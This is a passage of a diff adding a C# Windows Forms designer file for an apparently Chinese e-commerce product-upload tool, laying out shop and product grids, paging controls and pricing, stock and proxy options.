System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellContentClick); + this.dgvProduct.RowsAdded += new System.Windows.Forms.DataGridViewRowsAddedEventHandler(this.dgvProduct_RowsAdded); + // + // idColumn + // + this.idColumn.HeaderText = "上家Id"; + this.idColumn.Name = "idColumn"; + this.idColumn.ReadOnly = true; + this.idColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.idColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.idColumn.Width = 95; + // + // productIdColumn + // + this.productIdColumn.FillWeight = 150F; + this.productIdColumn.HeaderText = "商品Id"; + this.productIdColumn.Name = "productIdColumn"; + this.productIdColumn.ReadOnly = true; + this.productIdColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.productIdColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.productIdColumn.Width = 120; + // + // shopNameColumn + // + this.shopNameColumn.HeaderText = "店铺名"; + this.shopNameColumn.Name = "shopNameColumn"; + this.shopNameColumn.ReadOnly = true; + this.shopNameColumn.Width = 60; + // + // titleColumn + // + this.titleColumn.HeaderText = "标题"; + this.titleColumn.Name = "titleColumn"; + this.titleColumn.ReadOnly = true; + this.titleColumn.Width = 120; + // + // prcieColumn + // + this.prcieColumn.HeaderText = "价格"; + this.prcieColumn.Name = "prcieColumn"; + this.prcieColumn.ReadOnly = true; + // + // fromColumn + // + this.fromColumn.HeaderText = "来源"; + this.fromColumn.Name = "fromColumn"; + this.fromColumn.ReadOnly = true; + this.fromColumn.Visible = false; + // + // colFromFake + // + this.colFromFake.HeaderText = "来源"; + this.colFromFake.Name = "colFromFake"; + this.colFromFake.ReadOnly = true; + // + // messageColumn + // + this.messageColumn.HeaderText = "状态"; + this.messageColumn.Name = "messageColumn"; + this.messageColumn.ReadOnly = true; + this.messageColumn.Width = 400; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.flowLayoutPanel1); + this.splitContainer4.Size = new System.Drawing.Size(1110, 26); + this.splitContainer4.SplitterDistance = 703; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(703, 26); + this.statusBar.TabIndex = 2; + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.Controls.Add(this.btnGo); + this.flowLayoutPanel1.Controls.Add(this.label27); + this.flowLayoutPanel1.Controls.Add(this.txtGoPage); + this.flowLayoutPanel1.Controls.Add(this.label36); + this.flowLayoutPanel1.Controls.Add(this.lblTotalPage); + this.flowLayoutPanel1.Controls.Add(this.btnNext); + this.flowLayoutPanel1.Controls.Add(this.lblCurrentPage); + this.flowLayoutPanel1.Controls.Add(this.btnPrev); + this.flowLayoutPanel1.Controls.Add(this.lblPage1); + this.flowLayoutPanel1.Controls.Add(this.AutoRefcheckBox); + this.flowLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.flowLayoutPanel1.FlowDirection = System.Windows.Forms.FlowDirection.RightToLeft; + this.flowLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(403, 26); + this.flowLayoutPanel1.TabIndex = 0; + // + // btnGo + // + this.btnGo.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.btnGo.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.btnGo.FlatAppearance.BorderColor = System.Drawing.Color.Silver; + this.btnGo.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGo.Location = new System.Drawing.Point(359, 0); + this.btnGo.Margin = new System.Windows.Forms.Padding(2, 0, 4, 0); + this.btnGo.Name = "btnGo"; + this.btnGo.Size = new System.Drawing.Size(40, 22); + this.btnGo.TabIndex = 371; + this.btnGo.Text = "前往"; + this.btnGo.UseCompatibleTextRendering = true; + this.btnGo.UseVisualStyleBackColor = false; + this.btnGo.Click += new System.EventHandler(this.btnGo_Click); + // + // label27 + // + this.label27.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label27.AutoSize = true; + this.label27.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.label27.Location = new System.Drawing.Point(340, 0); + this.label27.Margin = new System.Windows.Forms.Padding(0); + this.label27.Name = "label27"; + this.label27.Size = new System.Drawing.Size(17, 21); + this.label27.TabIndex = 338; + this.label27.Text = "页"; + this.label27.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.label27.UseCompatibleTextRendering = true; + // + // txtGoPage + // + this.txtGoPage.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtGoPage.Font = new System.Drawing.Font("微软雅黑", 8.5F); + this.txtGoPage.Location = new System.Drawing.Point(312, 0); + this.txtGoPage.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.txtGoPage.Name = "txtGoPage"; + this.txtGoPage.Size = new System.Drawing.Size(26, 22); + this.txtGoPage.TabIndex = 336; + this.txtGoPage.Text = "1"; + this.txtGoPage.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + // + // label36 + // + this.label36.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label36.AutoSize = true; + this.label36.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.label36.Location = new System.Drawing.Point(268, 0); + this.label36.Margin = new System.Windows.Forms.Padding(8, 0, 0, 0); + this.label36.Name = "label36"; + this.label36.Size = new System.Drawing.Size(42, 21); + this.label36.TabIndex = 337; + this.label36.Text = "跳转到"; + this.label36.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.label36.UseCompatibleTextRendering = true; + // + // lblTotalPage + // + this.lblTotalPage.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblTotalPage.AutoSize = true; + this.lblTotalPage.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblTotalPage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblTotalPage.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.lblTotalPage.Location = new System.Drawing.Point(224, 0); + this.lblTotalPage.Margin = new System.Windows.Forms.Padding(0); + this.lblTotalPage.Name = "lblTotalPage"; + this.lblTotalPage.Size = new System.Drawing.Size(36, 21); + this.lblTotalPage.TabIndex = 335; + this.lblTotalPage.Text = "共1页"; + this.lblTotalPage.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblTotalPage.UseCompatibleTextRendering = true; + this.lblTotalPage.Click += new System.EventHandler(this.lblTotalPage_Click); + // + // btnNext + // + this.btnNext.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.btnNext.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.btnNext.FlatAppearance.BorderColor = System.Drawing.Color.Silver; + this.btnNext.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnNext.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnNext.Location = new System.Drawing.Point(199, 0); + this.btnNext.Margin = new System.Windows.Forms.Padding(3, 0, 3, 0); + this.btnNext.Name = "btnNext"; + this.btnNext.Size = new System.Drawing.Size(22, 22); + this.btnNext.TabIndex = 370; + this.btnNext.Text = ">"; + this.btnNext.UseCompatibleTextRendering = true; + this.btnNext.UseVisualStyleBackColor = false; + this.btnNext.Click += new System.EventHandler(this.btnNext_Click); + // + // lblCurrentPage + // + this.lblCurrentPage.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblCurrentPage.AutoSize = true; + this.lblCurrentPage.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.lblCurrentPage.Location = new System.Drawing.Point(184, 0); + this.lblCurrentPage.Margin = new System.Windows.Forms.Padding(0); + this.lblCurrentPage.Name = "lblCurrentPage"; + this.lblCurrentPage.Size = new System.Drawing.Size(12, 21); + this.lblCurrentPage.TabIndex = 339; + this.lblCurrentPage.Text = "1"; + this.lblCurrentPage.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblCurrentPage.UseCompatibleTextRendering = true; + // + // btnPrev + // + this.btnPrev.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.btnPrev.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.btnPrev.FlatAppearance.BorderColor = System.Drawing.Color.Silver; + this.btnPrev.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnPrev.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnPrev.Location = new System.Drawing.Point(159, 0); + this.btnPrev.Margin = new System.Windows.Forms.Padding(3, 0, 3, 0); + this.btnPrev.Name = "btnPrev"; + this.btnPrev.Size = new System.Drawing.Size(22, 22); + this.btnPrev.TabIndex = 369; + this.btnPrev.Text = "<"; + this.btnPrev.UseCompatibleTextRendering = true; + this.btnPrev.UseVisualStyleBackColor = false; + this.btnPrev.Click += new System.EventHandler(this.btnPrev_Click); + // + // lblPage1 + // + this.lblPage1.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblPage1.AutoSize = true; + this.lblPage1.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblPage1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblPage1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.lblPage1.Location = new System.Drawing.Point(120, 0); + this.lblPage1.Margin = new System.Windows.Forms.Padding(0); + this.lblPage1.Name = "lblPage1"; + this.lblPage1.Size = new System.Drawing.Size(36, 21); + this.lblPage1.TabIndex = 334; + this.lblPage1.Text = "第1页"; + this.lblPage1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblPage1.UseCompatibleTextRendering = true; + this.lblPage1.Click += new System.EventHandler(this.lblPage1_Click); + // + // AutoRefcheckBox + // + this.AutoRefcheckBox.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.AutoRefcheckBox.AutoSize = true; + this.AutoRefcheckBox.Checked = true; + this.AutoRefcheckBox.CheckState = System.Windows.Forms.CheckState.Checked; + this.AutoRefcheckBox.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.AutoRefcheckBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.AutoRefcheckBox.Location = new System.Drawing.Point(50, 0); + this.AutoRefcheckBox.Margin = new System.Windows.Forms.Padding(0); + this.AutoRefcheckBox.Name = "AutoRefcheckBox"; + this.AutoRefcheckBox.Size = new System.Drawing.Size(70, 22); + this.AutoRefcheckBox.TabIndex = 372; + this.AutoRefcheckBox.Text = "自动刷屏"; + this.AutoRefcheckBox.UseCompatibleTextRendering = true; + this.AutoRefcheckBox.UseVisualStyleBackColor = true; + this.AutoRefcheckBox.CheckedChanged += new System.EventHandler(this.AutoRefcheckBox_CheckedChanged); + // + // canUpColumn + // + this.canUpColumn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.canUpColumn.HeaderText = "全选"; + this.canUpColumn.Name = "canUpColumn"; + this.canUpColumn.ReadOnly = true; + this.canUpColumn.Width = 60; + // + // showedColumn + // + this.showedColumn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.showedColumn.HeaderText = "可用"; + this.showedColumn.Name = "showedColumn"; + this.showedColumn.ReadOnly = true; + this.showedColumn.Width = 52; + // + // explodeColumn + // + this.explodeColumn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.explodeColumn.HeaderText = "高级"; + this.explodeColumn.Name = "explodeColumn"; + this.explodeColumn.ReadOnly = true; + this.explodeColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.explodeColumn.Width = 52; + // + // BuyAPIColumn + // + this.BuyAPIColumn.HeaderText = "购买API"; + this.BuyAPIColumn.Name = "BuyAPIColumn"; + this.BuyAPIColumn.ReadOnly = true; + this.BuyAPIColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.BuyAPIColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.dataGridViewCheckBoxColumn1.HeaderText = "全选"; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Width = 60; + // + // dataGridViewCheckBoxColumn2 + // + this.dataGridViewCheckBoxColumn2.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.dataGridViewCheckBoxColumn2.HeaderText = "可用"; + this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; + this.dataGridViewCheckBoxColumn2.ReadOnly = true; + this.dataGridViewCheckBoxColumn2.Width = 52; + // + // dataGridViewCheckBoxColumn3 + // + this.dataGridViewCheckBoxColumn3.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.dataGridViewCheckBoxColumn3.HeaderText = "高级"; + this.dataGridViewCheckBoxColumn3.Name = "dataGridViewCheckBoxColumn3"; + this.dataGridViewCheckBoxColumn3.ReadOnly = true; + this.dataGridViewCheckBoxColumn3.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn3.Width = 52; + // + // dataGridViewLinkColumn1 + // + this.dataGridViewLinkColumn1.HeaderText = "购买API"; + this.dataGridViewLinkColumn1.Name = "dataGridViewLinkColumn1"; + this.dataGridViewLinkColumn1.ReadOnly = true; + this.dataGridViewLinkColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewLinkColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // shopNameColumnx + // + this.shopNameColumnx.HeaderText = "店铺"; + this.shopNameColumnx.Name = "shopNameColumnx"; + this.shopNameColumnx.ReadOnly = true; + this.shopNameColumnx.Width = 110; + // + // nameColumn + // + this.nameColumn.HeaderText = "店铺名"; + this.nameColumn.Name = "nameColumn"; + this.nameColumn.ReadOnly = true; + // + // catNameColumnx + // + this.catNameColumnx.HeaderText = "分类"; + this.catNameColumnx.Name = "catNameColumnx"; + this.catNameColumnx.ReadOnly = true; + this.catNameColumnx.Visible = false; + this.catNameColumnx.Width = 67; + // + // upCountColumn + // + this.upCountColumn.HeaderText = "上传"; + this.upCountColumn.Name = "upCountColumn"; + this.upCountColumn.ReadOnly = true; + this.upCountColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.upCountColumn.Width = 52; + // + // productCountColumn + // + this.productCountColumn.HeaderText = "商品数量"; + this.productCountColumn.Name = "productCountColumn"; + this.productCountColumn.ReadOnly = true; + this.productCountColumn.Width = 80; + // + // messageColumnx + // + this.messageColumnx.HeaderText = "消息"; + this.messageColumnx.Name = "messageColumnx"; + this.messageColumnx.ReadOnly = true; + this.messageColumnx.Visible = false; + this.messageColumnx.Width = 80; + // + // APIColumn + // + this.APIColumn.HeaderText = "API状态"; + this.APIColumn.Name = "APIColumn"; + this.APIColumn.ReadOnly = true; + this.APIColumn.Width = 80; + // + // ServiceEndTimeColumn + // + this.ServiceEndTimeColumn.HeaderText = "API到期时间"; + this.ServiceEndTimeColumn.Name = "ServiceEndTimeColumn"; + this.ServiceEndTimeColumn.ReadOnly = true; + this.ServiceEndTimeColumn.Width = 110; + // + // EndTimeColumn + // + this.EndTimeColumn.HeaderText = "元宝到期时间"; + this.EndTimeColumn.Name = "EndTimeColumn"; + this.EndTimeColumn.ReadOnly = true; + this.EndTimeColumn.Width = 120; + // + // shopRemarkColumn + // + this.shopRemarkColumn.HeaderText = "备注"; + this.shopRemarkColumn.Name = "shopRemarkColumn"; + this.shopRemarkColumn.ReadOnly = true; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.HeaderText = "店铺"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.Width = 110; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.HeaderText = "店铺名"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.HeaderText = "分类"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Visible = false; + this.dataGridViewTextBoxColumn3.Width = 67; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.HeaderText = "上传"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + this.dataGridViewTextBoxColumn4.ReadOnly = true; + this.dataGridViewTextBoxColumn4.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.dataGridViewTextBoxColumn4.Width = 52; + // + // dataGridViewTextBoxColumn5 + // + this.dataGridViewTextBoxColumn5.HeaderText = "商品数量"; + this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; + this.dataGridViewTextBoxColumn5.ReadOnly = true; + this.dataGridViewTextBoxColumn5.Width = 80; + // + // dataGridViewTextBoxColumn6 + // + this.dataGridViewTextBoxColumn6.HeaderText = "消息"; + this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; + this.dataGridViewTextBoxColumn6.ReadOnly = true; + this.dataGridViewTextBoxColumn6.Visible = false; + this.dataGridViewTextBoxColumn6.Width = 80; + // + // dataGridViewTextBoxColumn7 + // + this.dataGridViewTextBoxColumn7.HeaderText = "API状态"; + this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; + this.dataGridViewTextBoxColumn7.ReadOnly = true; + this.dataGridViewTextBoxColumn7.Width = 80; + // + // dataGridViewTextBoxColumn8 + // + this.dataGridViewTextBoxColumn8.HeaderText = "API到期时间"; + this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; + this.dataGridViewTextBoxColumn8.ReadOnly = true; + this.dataGridViewTextBoxColumn8.Width = 110; + // + // dataGridViewTextBoxColumn9 + // + this.dataGridViewTextBoxColumn9.HeaderText = "元宝到期时间"; + this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; + this.dataGridViewTextBoxColumn9.ReadOnly = true; + this.dataGridViewTextBoxColumn9.Width = 120; + // + // dataGridViewTextBoxColumn10 + // + this.dataGridViewTextBoxColumn10.HeaderText = "备注"; + this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; + this.dataGridViewTextBoxColumn10.ReadOnly = true; + // + // UploadProductForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1110, 647); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "UploadProductForm"; + this.Text = "UploadProductForm"; + this.Load += new System.EventHandler(this.UploadProductForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucTabControlMetro1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage1.PerformLayout(); + this.flowLayoutPanel2.ResumeLayout(false); + this.flowLayoutPanel2.PerformLayout(); + this.tabPage2.ResumeLayout(false); + this.tabPage2.PerformLayout(); + this.tabPage5.ResumeLayout(false); + this.tabPage5.PerformLayout(); + this.tabPage3.ResumeLayout(false); + this.tabPage3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.flowLayoutPanel1.ResumeLayout(false); + this.flowLayoutPanel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.TextBox txtMultiple; + private System.Windows.Forms.TextBox txtPostage; + private System.Windows.Forms.ComboBox cmbPlusOrMinus; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.DataGridViewCheckBoxColumn canUpColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn shopNameColumnx; + private System.Windows.Forms.DataGridViewTextBoxColumn nameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn catNameColumnx; + private System.Windows.Forms.DataGridViewTextBoxColumn upCountColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn productCountColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn showedColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn explodeColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn messageColumnx; + private System.Windows.Forms.DataGridViewLinkColumn BuyAPIColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn APIColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ServiceEndTimeColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn EndTimeColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn shopRemarkColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; + private System.Windows.Forms.DataGridViewLinkColumn dataGridViewLinkColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; + private UserComponent.DataGridViewEx dgvShop; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.Label lblWaitUpload; + private System.Windows.Forms.Label countLabel; + private System.Windows.Forms.SplitContainer splitContainer3; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.SplitContainer splitContainer4; + private System.Windows.Forms.Button btnGo; + private System.Windows.Forms.Button btnNext; + private System.Windows.Forms.Button btnPrev; + private System.Windows.Forms.Label lblPage1; + private System.Windows.Forms.Label lblTotalPage; + private System.Windows.Forms.Label label27; + private System.Windows.Forms.Label lblCurrentPage; + private System.Windows.Forms.Label label36; + private System.Windows.Forms.TextBox txtGoPage; + private System.Windows.Forms.CheckBox AutoRefcheckBox; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox beforPricetextBox; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label37; + private System.Windows.Forms.TextBox txtStockLessThanCount; + private System.Windows.Forms.CheckBox chkStockLessThan; + private System.Windows.Forms.CheckBox littleSkuCheckBox; + private System.Windows.Forms.TextBox txtSingleUpload; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.Label label5; + private UserControls.ButtonEx btnUploadGood; + private UserControls.ButtonEx btnUpload; + private UserControls.ButtonEx buttonEx1; + private System.Windows.Forms.TextBox txtPhone; + private System.Windows.Forms.Label label4; + private UserControls.ButtonEx btnGetUpId; + private System.Windows.Forms.TextBox txtUpProduct; + private System.Windows.Forms.Label label29; + private System.Windows.Forms.ComboBox shopthreadCountTextBox; + private System.Windows.Forms.CheckBox chkFilterTitle; + private System.Windows.Forms.TextBox prefixTextBox; + private System.Windows.Forms.ComboBox comboBox1; + private UserControls.ButtonEx buttonEx4; + private System.Windows.Forms.CheckBox chkOnlyPostFree; + private System.Windows.Forms.Label label48; + private System.Windows.Forms.ComboBox cboHour; + private System.Windows.Forms.CheckBox chklogistime; + private System.Windows.Forms.Label label34; + private System.Windows.Forms.Label label32; + private System.Windows.Forms.TextBox lowPriceAddtextBox; + private System.Windows.Forms.TextBox lowPricePercenttextBox; + private System.Windows.Forms.CheckBox lowPricecheckBox; + private System.Windows.Forms.TextBox txtremark; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.CheckBox chkSaveToDraft; + private System.Windows.Forms.ComboBox comboBox5; + private System.Windows.Forms.CheckBox proxyCheckBox; + private System.Windows.Forms.CheckBox chkIsSetCommission; + private System.Windows.Forms.Label label18; + private System.Windows.Forms.CheckBox chkCustomStock; + private System.Windows.Forms.TextBox txtCustomStock; + private DevComponents.DotNetBar.PanelEx pnlShowError; + private UserControls.ButtonEx buttonEx2; + private System.Windows.Forms.CheckBox chkMultiUpload; + private UserControls.ButtonEx btnTest; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox txtRatio; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; + private System.Windows.Forms.CheckBox chkRandomMainImage; + private System.Windows.Forms.TextBox txtMinSku; + private System.Windows.Forms.CheckBox chkMinSku; + private System.Windows.Forms.CheckBox chkSaveToOffLine; + private System.Windows.Forms.CheckBox chkViolateCheck; + private PinBaoBao.UserControls.UcTabControlMetro ucTabControlMetro1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.ComboBox cmbSendDayAfterPre; + private System.Windows.Forms.ComboBox cmbSendType; + private System.Windows.Forms.ComboBox cmbNewPreTime; + private System.Windows.Forms.Label lblNewPreTime; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.ComboBox cmbSendDay; + private System.Windows.Forms.Label sendTime; + private System.Windows.Forms.DateTimePicker endDateTimePicker; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Label label7; + private DevComponents.DotNetBar.PanelEx waitButton; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel2; + private DevComponents.DotNetBar.LabelX labelX1; + private DevComponents.DotNetBar.PanelEx btnSetTitleFilter; + private DevComponents.DotNetBar.PanelEx btnSetViolateCheck; + private System.Windows.Forms.TextBox txtMultiple2; + private System.Windows.Forms.TextBox txtPostage2; + private DevComponents.DotNetBar.LabelX lblFromTo; + private DevComponents.DotNetBar.LabelX lblFromTo2; + private System.Windows.Forms.ComboBox cmbPlusOrMinus2; + private System.Windows.Forms.CheckBox chkRoundPrice; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.CheckBox chkFuzzyMatching; + 